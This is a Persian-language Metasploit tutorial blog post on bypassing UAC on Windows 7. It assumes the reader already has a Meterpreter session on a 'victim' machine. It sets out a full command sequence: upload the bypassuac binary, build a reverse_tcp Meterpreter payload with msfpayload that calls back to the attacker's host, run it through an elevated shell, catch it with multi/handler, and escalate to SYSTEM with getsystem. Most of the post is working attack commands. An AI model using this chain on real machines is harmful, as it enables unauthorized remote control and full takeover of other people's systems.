منبع اصلی نوشتار زیر در این لینک قرار دارد

آموزش متااسپلویت : Bypassing UAC – win 7

با سلام خدمت دوستان . قسمت دوازدهم از آموزش های متااسپلویت را در پیش رو داریم . در این قسمت در خصوص دور زدن و bypass محدودیت های UAC در ویندوز 7 صحبت خواهیم کرد . فعال بودن UAC باعث محدودیت هایی برای مهاجم میشه , از محدود بودن سطح دسترسی در CMD تا انجام تنظیمات در ریجستری و …

ابتدا سناریو زیر را مطرح می کنیم سپس روشی برای حل آن پیدا می کنیم :

OSLearn.ir_00

کار خودمون رو با فرض این که از تارگت دسترسی داریم شروع می کنیم . همچنین یوزری که از آن دسترسی گرفته ایم عضو گروه Administrators است و UAC بر روی سیستم فعال می باشد .

 

طبیعتا این سطح دسترسی ای که گرفتیم دارای محدودیت هایی است اما باید توجه کرد که چون یوزر عضو گروه Administrator است , می توان این محدودیت ها را دور زد .

در ویندوز XP برای بالا بردن سطح دسترسی از دستور getsystem به شکل زیر استفاده می کردیم :

meterpreter > getsystem

اما طبق سناریو بالا , این دستور بر روی ویندوز 7 اجرا نخواهد شد و اروری مبنی بر نداشتن سطح دسترسی صادر می کند :

OSLearn.ir_01

یکی از راه حل های این مورد که در اکثر سیستم ها هم جوابگو است , این است که شل کدی ساخته و آن را به سیستم قربانی منتقل کنیم , سپس با استفاده از run as administrator آن را اجرا کنیم . طبیعتا چون شل کد را با سطح دسترسی بالا اجرا کردیم , تمامی محدودیت ها از بین خواهد رفت .

برای این مورد یعنی اجرای شل کد از طریق run as administrator از یک برنامه ی کمکی کمک خواهیم گرفت تا تمامی این مراحل بدون سر و صدا در سیستم قربانی طی شود .

نام این فایل و برنامه bypassuac است و در مسیر زیر قابل مشاهده است : ( در سیستم عامل کالی به صورت پیش فرض قرار دارد )

root@kali:~# ls -lh /usr/share/metasploit-framework/data/post/bypassuac*.exe

همان طور که در خروجی مشاهده می کنید دو فایل برای دو معماری 32 و 64 بیتی موجود است که ما از معماری 32 بیتی استفاده می کنیم .

 

در قدم اول وارد محیط کنسول متااسپلویت و دسترسی خود شده و این فایل را بر روی سیستم قربانی آپلود می کنیم :

meterpreter > upload /usr/share/metasploit-framework/data/post/bypassuac-x86.exe .

OSLearn.ir_02

در قدم بعدی شل کد خودمون رو می سازیم و به سیستم قربانی منتقل می کنیم . برای این منظور ابتدا با دستور background وارد کنسول متااسپلویت شده سپس شل کد خودمون رو می سازیم :

msf exploit(handler) > msfpayload windows/meterpreter/reverse_tcp lhost=192.168.137.69 lport=2222 X > OSLearn.ir.exe

OSLearn.ir_03حال شل کد خودمون رو به سیستم قربانی منتقل می کنیم :

msf exploit(handler) > sessions -i 1
meterpreter > upload /root/OSLearn.ir.exe .

حال با استفاده از دستور shell به محیط CMD سیستم قربانی وارد می شویم :

meterpreter > shell

OSLearn.ir_04

فایل هایی که آپلود کردیم در همین مسیر قرار دارند . برای اطمینان از آپلود شدن فایل هامون دستور dir را در محیط CMD اجرا می کنیم .

C:UsersimanDownloads>dir

حال با استفاده از bypassuac-x86.exe که قبلا آپلود کردیم , یک CMD با سطح دسترسی بالا برای خودمون باز می کنیم . به شکل زیر :

C:UsersimanDownloads>bypassuac-x86.exe /c cmd.exe

OSLearn.ir_05

خب حالا یک ترمینال دیگر در کالی لینوکس باز می کنیم و به شکل زیر روی پورت 2222 روی حالت listing قرار می گیریم :

root@kali:~# msfcli exploit/multi/handler payload=windows/meterpreter/reverse_tcp lhost=192.168.137.69 lport=2222 E

OSLearn.ir_06

توجه کنید که 2222 پورتی است که در هنگام ساخت شل کد استفاده کردیم . حال به ترمینال قبلی بر می گردیم و شل کد خودمون را داخل CMD به شکل زیر اجرا می کنیم :

C:WindowsSystem32>C:UsersimanDownloadsOSLearn.ir.exe

حال می توان به ترمینال دوم نگاه کرد و دید که یک session برای ما ایجاد شده است .

OSLearn.ir_07حال در نشست جدیدی که باز شده می توان سطح دسترسی را تا System بالا برد :

meterpreter > getsystem 
...got system (via technique 1).

OSLearn.ir_08

همان طور که مشاهده می کنید با استفاده از این روش تونستیم سطح دسترسی را بالا ببریم . فقط باید یادمون باشه که این روش در یوزر هایی عمل می کنه که عضو گروه Administrators باشند .

موفق و موید باشید .

 

منبع : او اس لرن دات آی آر | http://OSLearn.ir

نویسنده : E2MA3N



برچسب ها : , , , ,